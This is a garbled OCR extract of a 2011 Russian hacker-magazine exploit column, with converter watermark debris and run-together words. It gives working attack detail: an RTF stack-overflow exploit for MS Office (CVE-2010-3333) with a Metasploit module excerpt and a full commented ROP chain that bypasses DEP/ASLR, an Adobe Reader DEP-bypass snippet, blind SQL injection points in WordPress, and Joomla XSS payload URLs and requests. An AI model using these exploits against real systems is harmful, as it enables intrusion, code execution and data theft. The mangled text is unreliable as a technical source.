|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Приветствуем тебя, о достопочтимый читатель! Пишем тебе из деревни Красная звездочка, что во Владимирской области зиждется. Погода у нас отличная, да и вообще хорошо
отдыхается. Давеча праздник какой-то отмечали — вино лилось рекой, и мужики местные, захмелев, проговорились, что ходит по интернетам молва об эксплоитах новых и интересных, да все подробности о них тут же и выложили. Мы послушалипослушали, да и решили рассказ сей тщательнейшим образом законспектировать и к письму этому приложить.
|
|
MS Office 2010 RTF Header Stack |
|
|
«Изображениесвойствобъектов. |
|
|
|
|
Основнаямассаизображаемыхобъектовопределяетсясериейсвойств. |
|
01Overflow Vulnerability Exploit |
|
|
Управляющиетэгирасполагаютсяследующимобразом: первымидет |
||
|
|
|
|
|
тэг«{ \shp», занимследует«{ \*\shpinst». Далееидущиетэгиописывают |
|
CVSSV2BASESCORE: |
9.3(HIGH) |
|
всесвойствафигуры. Каждоеизсвойствимеетследующийформат: |
|
|
|
(AV:N/AC:M/Au:N/C:C/I:C/A:C) |
|
||
|
|
{\sp{\sn PropertyName}{\sv PropertyValueInformation}} |
|||
|
BRIEF |
|
|
|
|
|
|
|
|
|
Датарелиза:3 июля2011 года Автор: Snake
CVE: CVE-2010-3333
ПереполнениебуферанастекевMicrosoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011 and Open XML File Format Converter for Mac позволяетзлоумыш-
ленникуисполнитьпроизвольныйкод, используяспециальнымобразом сформированныеRTF-данные.
Данныйэксплоитпримечателеннесобственнореализациейуязвимости(онейбылоизвестноещевоктябрепрошлогогода), аиспользованиемтехники, названной«Ikazuchi DEP/ASRL Bypass», дляобхода защитныхмеханизмовDEP/ASLR.
EXPLOIT
ВыдержкаизспецификацииRTF (Rich Text Format) дляMicrosoft Office Word 2003:
Каждоесвойствофигуры, определенноетэгом«\sp» представляетсобой пару: имя(«\sn») исоответствующееэтомуименизначение(«\sv»).»
ВPOC RTF-файлезатэгом«\sn», задающегоимя«pFragments» для свойства, следуеттэг«\sv», задачейкоторогоявляетсяописаниезначенийдлязаданногоранеесвойства«pFragments». Данныйтэгсодержит значения, разделенныеточкойсзапятой, третьеизкоторыхимеет неблаговидныйлик, нуи, соответственно, обрабатываетсяприразборе RTF-файлавордомневерно. Вобщемвидеструктураэксплоитадолжна выглядетьследующимобразом:
{\rtf1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv A;B;[word1]
[word2][word3][hex_value_array]}}}}}
A — целочисленноезначение, котороенеможетбытьравно2,4 или8; B — целочисленноезначение;
word1—2-байтовоезначение(sizeof(WORD)),котороенеможетбытьнулем;
044 |
XÀÊÅÐ 09 /152/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
Функция, генерирующая конфиг phpMyAdmin
word2 — 2-байтовоезначение, котороенеможетбытьбольшечемword1; word3 — 2-байтовоезначение, котороебудетиспользоватьсякакразмер дляпереполнениябуферанастеке;
word1*word2 — должныбытьравныразмерувыделяемойпамятипод массивhex_value_array, соответственнозначениеэтодолжнобытьв меруадекватно;
hex_value_array — строка, содержащаязначения, которымибудет перезаписыватьсябуфер, располагающийсянастеке, впроцессеего переполнения.
Приначертанииword1, word2 иword3 необходимоиспользоватьобратныйпорядокзаписи: первымидетмладшийбайт, затемстарший. Краткийотрывокизмодулядляmetasploit, генерирующегоrtf-файл, которыйбудетэксплуатироватьданнуюуязвимость:
sploit = "%d;%d;" % [el_size, el_count] sploit << data.unpack('H*').first sploit << rest.unpack('H*').first
content = "{\\rtf1" |
|
content << "{\\shp" |
# фигура |
content << "{\\sp" |
# свойство фигуры |
content << "{\\sn pFragments}"# имя свойства |
|
content << "{\\sv |
#{sploit}}" # значение свойства |
content << "}" content << "}" content << "}"
print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(content)
Перезаписьбуферанастекепроисходитвследующемместебиблиотеки mso.dll:
39200b61 |
je short mso.39200b82 |
|
39200b63 |
mov ecx,dword ptr ss:[ebp+8] |
|
39200b66 |
mov eax,dword ptr ds:[ecx+c] |
|
39200b69 |
and eax,0ffff |
|
39200b6e |
push eax |
; n |
39200b6f imul eax,dword ptr ss:[ebp+10] |
||
39200b73 |
add eax,dword ptr ds:[ecx+10] |
|
39200b76 |
push eax |
; src |
39200b77 |
push dword ptr ss:[ebp+c] |
; dest |
39200b7a |
call <jmp.&msvcr90.memcpy> |
; memcpy - overflow! |
39200b7f |
add esp,0c |
|
39200b82 |
pop ebp |
|
39200b83 |
retn 0c |
|
|
|
|
ВконцеконцовмыпопадаемнапервыйадресвROP-цепочке, исполняемееивидимкалькулятор.
АтеперьнемногоподробнеепроROP-цепочку:
0x3F2CB9E0 |
POP ECX |
|
RETN |
|
# HeapCreate() IAT = 3F10115C |
0x3F389CA5 |
MOV EAX,DWORD PTR DS:[ECX] |
|
RETN |
|
# EAX == адрес HeapCreate() |
|
|
XÀÊÅÐ 09 /152/ 2011 |
045 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
ВЗЛОМ |
|||
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
0x3F39AFCF |
CALL EAX |
|
RETN |
#Вызываем HeapCreate() и создаем
#исполняемую кучу после этого вызова EAX
#содержит адрес созданной нами кучи
0x3F2CB9E0 |
POP ECX |
|
RETN |
# pop 0x00008000 в ECX |
|
0x3F39CB46 |
ADD EAX,ECX |
|
POP ESI |
|
RETN |
#прибавляем ECX к EAX вместо того, чтобы вызывать
#HeapAlloc, теперь EAX указывает на RWX-кучу
0x3F2CB9E0 |
POP ECX |
|
RETN |
#pop 0x3F3B3DC0 в ECX, по этому адресу
#можно что-нибудь записать
0x3F2233CC |
MOV DWORD PTR DS:[ECX],EAX |
|
RETN |
#сохраняем адрес нашей RWX-кучи по адресу
#0x3F3B3DC0 (ECX) для дальнейшего использования
0x3F2D59DF |
POP EAX |
|
ADD DWORD PTR DS:[EAX],ESP |
|
RETN |
#pop 0x3F3B3DC4 в EAX, по этому адресу
#содержится 0 и туда можно что-нибудь записать
#Что мы и сделаем, прибавив к 0 значение
#регистра ESP, адрес ESP нам нужен,
#скопировать шеллкод (который располагается на стеке)
0x3F2F18CC POP EAX RETN
# pop 0x3F3B3DC4 ( ESP address ) в EAX
0x3F2B745E |
MOV ECX,DWORD PTR DS:[EAX] |
|
RETN |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Передача управления на начало ROP-цепочки
Развитие XSSуязвимости Джумлы — CSRF эксплоит
#сейчас ECX указывает на ближайшее смещение
#стека
0x3F39795E |
POP EDX |
|
RETN |
# pop 0x00000024 в EDX |
|
0x3F39CB44 |
ADD ECX,EDX |
ADD EAX,ECX POP ESI RETN
# прибавим 0x24 к ECX (адрес стека)
0x3F398267 |
MOV EAX,ECX |
|
RETN |
0x3F3A16DE |
MOV DWORD PTR DS:[ECX],EAX |
|
XOR EAX,EAX |
|
POP ESI |
|
RETN |
#скопируем значение EAX (Stack Address+24 =
#текущее значение ESP ) по текущему адресу стека
#и снимем со стека значение в ESI. Теперь ESI
#указывает на начало шеллкода, располагающегося на стеке
0x3F398267 |
MOV EAX,ECX |
|
RETN |
0x3F2CB9E0 |
POP ECX |
|
RETN |
# pop 0x3F3B3DC0 (сохраненный адрес кучи) в ECX |
|
0x3F389CA5 |
MOV EAX,DWORD PTR DS:[ECX] |
|
RETN |
# сейчас EAX указывает на нашу RWX-кучу
046 |
XÀÊÅÐ 09 /152/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Вызов memcpy, творящий беззаконие на стеке
0x3F2B0A7C |
XCHG EAX,EDI |
|
RETN 4 |
# EDI = адрес нашей RWX-кучи |
|
0x3F2CB9E0 |
POP ECX |
|
RETN |
# pop 0x3F3B3DC0 (сохраненный адрес кучи) в ECX |
|
0x3F389CA5 |
MOV EAX,DWORD PTR DS:[ECX] |
|
RETN |
# EAX указывает на нашу RWX-кучу |
|
0x3F38BEFB |
ADD AL,58 |
|
RETN |
# какой-то бред :) |
|
0x3F2CB9E0 |
POP ECX |
|
RETN |
#pop 0x00000080 в ECX
#(0x80 * 4 = 0x200 = размер копируемой области)
0x3F3441B4 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] POP EDI
POP ESI RETN
# Копируем шеллкод со стека в RWX-кучу
0x3F39AFCF |
CALL EAX |
|
RETN |
# Исполняем шеллкод
TARGETS
Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010,
Office 2004 и2008 дляMac, Office дляMac 2011 иOpen XML File Format
Converter дляMac.
SOLUTION
Установитьобновления.
02 AdobeReaderXAtomTypeConfusion VulnerabilityExploit
CVSSV2BASESCORE: |
9.3(HIGH) |
(AV:N/AC:M/Au:N/C:C/I:C/A:C) (legend)
BRIEF
Датарелиза:3 июля2011 года
Бажная функция PMA_createTargetTables
Автор:Snake
CVE: CVE-2011-0611
Ещеодноухищрение, направленноенаобходDEP/ASLR ииспользую- щеевкачествебазыуязвимостьCVE-2011-0611, опубликованную4 мая
2011 года.
EXPLOIT
ЭтотметодобходамеханизмовзащитыDEP/ASLR былназванTatsumaki. ПрименяетсяондляAdobe-X (нонедляsandbox). Длятогочтобыбыло хорошо, необходимоподгрузитьбиблиотекуcryptocme2.dll.
Кодесдлязагрузкиcryptocme2.dll:
<</Type/Catalog/Pages 3 0 R/OpenAction 5 0 R/AcroForm 7 0 R >> And then
8 0 obj <</Length 372>>
stream
<?xml version="1.0" encoding="UTF-8"?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/"> <present><pdf><interactive>1</interactive></pdf></present> </config>
<template xmlns="http://www.xfa.org/schema/xfatemplate/2.6/">
<subform name="form1" layout="tb" locale="en_US"> <pageSet></pageSet> </subform></template></xdp:xdp>
endstream endobj
xref
Теперьмыможемпользоватьсялюбезнопредоставленнойбиблиотекой, скомпилированнойбезподдержкиASLR, длясвоихисследовательских целей:).
TARGETS
Adobe Flash Player доверсии10.2.154.27 наОСWindows, Mac OS X, Linux, иSolaris, и10.2.156.12 иболееранниеверсиинаAndroid;
Adobe AIR до2.6.19140;
Authplay.dll (такназываемыйAuthPlayLib.bundle) вAdobe Reader 9.x до 9.4.4 и10.x вплотьдо10.0.1 наWindows;
Adobe Reader 9.x до9.4.4 и10.x до10.0.3 наMac OS X;
такжеAdobe Acrobat 9.x до9.4.4 и10.x до10.0.3 наWindows иMac OS X
позволяютудаленныматакующимисполнятьпроизвольныйкодили вызыватьотказвобслуживаниисервиса(падениеприложения) через специальнымобразомсформированныеFlash-данные.
SOLUTION
ОбновитьAdobe Flash Player.
XÀÊÅÐ 09 /152/ 2011 |
047 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
ВЗЛОМ |
|
|||
|
|
|
|
|
m |
|
|||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Содержимое RTF-документа, приводящее к падению
03 SQL-инъекциивWordPress3.1.3
CVSSV2 |
6.0 |
(AV:N/AC:M/Au:S/C:P/I:P/A:P)
BRIEF
ЧтотакоеWordPress должензнатькаждыйшкольникначальныхклассов, поэтомунебудудолгопоэтомуповодураспространяться, асразу перейдуближектелу. Наэтотразуязвимостьобнаруженаневкакомнибудьплагине, авсамомдвижке, поэтомуейподверженыабсолютно всересурсынаэтомдвижке, хотяинеабсолютновсехверсий.
Даисэксплуатациейздесьневсетакпросто: чтобывыполнитьSQLинъекцию, потребуетсяпользовательсправамиEditor, неменьше! Ну иесливсесложитсяхорошо, тотысможешьпоиметьдоступкБДсайта справамипользователяWordPress, а, сталобыть, ислитьреквизиты всехпользователейитакдалее.
EXPLOIT
Уязвимостьсуществуетиз-занеподобающейфильтрациипеременных, короче, какобычно.
Функцияget_terms(), определеннаявwp-includes/taxonomy.php, недо-
статочнохорошопроверяетданные, переданныеклиентом, врезультате чегопользовательспривилегиямиEditor можетвнедритьпроиз- вольныеSQL-командывпараметрахorderby иorder. СледующиеURL показываютточкивнедренияSQL-команд(помеченыобозначением [ШЛЯПА]):
•http://localhost/wp-admin/edit-tags.php? taxonomy=link_category&orderby=[ШЛЯПА]&order=[ШЛЯПА]
•http://localhost/wp-admin/edit-tags.php? taxonomy=post_tag&orderby=[ШЛЯПА]&order=[ШЛЯПА]
•http://localhost/wp-admin/edit-tags.php? taxonomy=category&orderby=[ШЛЯПА]&order=[ШЛЯПА]
Аналогичнаяситуациянаблюдаетсясфункциейget_bookmarks(),
котораянаходитсявфайлеwp-includes/bookmark.php, URL для последующейэксплуатациивыглядитпохожимобразом: http://
localhost/wp-admin/link-manager.php?orderby=[ШЛЯПА]&
order=[ШЛЯПА].
Чутьнезабыл, чтоинъекциитутслепые, поэтомувручнуютутловить нечего, анадобывоспользоватьсяблагамицивилизации, тоестьсредствамиавтоматизации. Кпримеру, запростосгодитсявсемиизвестный sqlmap, входящийвсоставBackTrack.
TARGETS
WordPress 3.1.3/3.2-RC1 и, возможно, болееранниеверсии.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
SOLUTION
Нужнообновитьсядоверсии3.1.4 или3.2-RC3. Еслитакойвозможности нет, томожновременнопонизитьвсехпользователей-редакторовдо рангаAuthor.
04 Множественные XSS-уязвимостивJoomla!1.6.3
CVSSV2 |
6.8 |
(AV:N/AC:M/Au:N/C:P/I:P/A:P)
BRIEF
ВконцеиюнясегогодаэтническимихакерамиизгруппировкиYGN былоопубликованополноераскрытиеуязвимостейвбазовыхкомпо-
нентахJoomla, аименно: com_contact, com_content, com_newsfeeds и com_search. Уязвимостипозволяютатакующемувнедритьвсодержимоестраницыпроизвольныескрипты, темсамымзавладевданными сессиибеспечногопользователя, перешедшегопоспециальносформированнойURL.
EXPLOIT
НекоторыепараметрывбазовыхкомпонентахJoomla! неотличились выдающимисярезультатамипофильтрацииспецсимволов, срединих
QueryString, option иsearchword. PoC длякомпонентаcom_contact и
параметраQueryString выглядиттак:
http://attacker.in/joomla163_noseo/index.php?option=com_c ontact&view=category&catid=26&id=36&Itemid=- 1";><script>alert(/XSS/)</script>
Длядругихкомпонентовситуациянесильноотличается:
•http://attacker.in/joomla163_noseo/index.php?option=com_c ontent&view=category&id=19&Itemid=260&limit=10&filter_order_ Dir=&limitstart=&filter_order=><script>alert(/XSS/)</script> http://attacker.in/joomla163_noseo/index.php?option=com_n ewsfeeds&view=category&id=17&whateverehere=";><script> alert(/XSS/)</script>&Itemid=253&limit=10&filter_order_ Dir=ASC&filter_order=ordering
•http://attacker.in/joomla163_noseo/index. php?option=";><script>alert(/XSS/)</script>&task=reset. request
Авотдляэксплуатацииуязвимостивкомпонентеcom_search ипараметреsearchword придетсяизменитьPOST-запрослюбымиподручными средствами(Live HTTP Headers, Tamper Data, etc). Врезультатезапрос долженпринятьпримернотакойвид:
POST /joomla163/index.php HTTP/1.1
Referer: http://attacker.in/joomla163/
User-Agent: Konqueror/4.5
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: attacker.in
Accept-Encoding: gzip, deflate
Content-Length: 125
option=com_search&searchword='%2522%253C%252Fscript%253E%2 53Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E&ta sk=search
TARGETS
Joomla! 1.6.3 иболееранние.
048 |
XÀÊÅÐ 09 /152/ 2011 |